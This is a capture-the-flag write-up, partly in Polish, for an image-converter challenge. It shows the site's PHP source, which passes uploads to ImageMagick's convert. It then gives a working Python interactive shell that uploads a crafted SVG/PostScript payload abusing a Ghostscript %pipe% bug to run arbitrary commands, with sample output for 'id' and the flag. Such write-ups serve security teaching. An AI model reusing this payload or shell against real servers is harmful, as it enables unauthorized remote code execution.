[Hard] Konwerter obrazków/Image converter


Mamy aplikację, która konwertuje obrazki do formatu png. Istnieje w niej jednak błąd typu RCE. Celem jest wykonanie pliku znajdującego się w ścieżce /etc/flag.php.


Here we get a link to a website that lets us convert jpg files to png. index

In the headers we can see a suspicious one

1
X-Debug: Check ?source=1 to debug

Adding ?source=1 to the url shows us the source code of the application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  die();
}
header('X-Debug: Check ?source=1 to debug');

if (isset($_FILES['file'])) {
  $file = $_FILES['file'];
  if ($file['type'] !== 'image/jpeg' && $file['type'] !== 'image/jpg') {
    echo 'Invalid file';
    die();
  }
  $newname = bin2hex(random_bytes(16)) . ".jpg";
  move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/$newname");
  $newname2 = bin2hex(random_bytes(16)) . ".png";
  header('X-NewName: ' . $newname);
  $output = null;
  $code = null;
  header('X-Output: ' . base64_encode(json_encode($output)));
  header('Content-type: image/png');
  exec("convert /tmp/$newname /tmp/$newname2 2>&1 ", $output);
  header('X-Output: ' . base64_encode(json_encode($output)));
  readfile("/tmp/$newname2");
  unlink("/tmp/$newname");
  unlink("/tmp/$newname2");
  exit();
}


?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <link rel="stylesheet" href="https://unpkg.com/[email protected]/dist/paper.min.css">
  <title>Image Converter</title>
</head>
<body>
  <div class="paper container">
    <h1>Image Converter</h1>
    <p>Welcome in our image converter! Here you can convert a file from JPG to PNG.</p>
    <form method="POST" enctype="multipart/form-data">
    <label for="file">Select a file</label>
    <input type="file" name="file" id="file" accept=".jpg" >
    <Button>Convert</button>
</form>
  </div>
</body>
</html>

The application expects a file (mime type has to be set to one for a jpg/jpeg image) and runs convert (a imagemagick command) to convert it from a jpg to a png file.

Since it’s ImageMagick, it’s most likely that it’s one of the multiple conversion bugs that allow for remote code execution. After quick searching for recent vulns we can find this one. It generates a payload that triggers RCE in ImageMagick upon conversion.

We can adapt it and create a cmdshell in python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import base64

exploit = """
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <hui><desc>copies (%pipe%/tmp/;$(COMMAND_HERE|base64 -w0);) (r) file showpage 0 quit </desc> <image href="epi:/proc/self/fd/3" /> <svg width="1px" height="1px" /> </hui>
""".strip()

def run_cmd(command):
    files = {
        'file': (
            f'asdf.jpg', 
            exploit.replace("COMMAND_HERE", command).encode(), 
            'image/jpeg', 
            {'Expires': '0'},
        )
    }
    r = requests.post('https://image-converter.challenge.ctf.expert/', files=files)
    ret = base64.b64decode(r.headers['X-Output']).decode()
    ret = ret.replace('["sh: 1: \/tmp\/: Permission denied","sh: 1: ', '')
    ret = ret.replace(': not found"]', '')
    print(ret)
    return base64.b64decode(ret).decode()

while True:
    cmd = input('> ')
    if cmd == 'exit' or cmd == 'quit':
        break
    
    print(run_cmd(cmd))
    print()
1
2
3
4
5
6
> id
uid=1000 gid=1000 groups=1000


> /etc/flag.php
CTF_GhostScriptKeepHavingIssues /etc/flag.php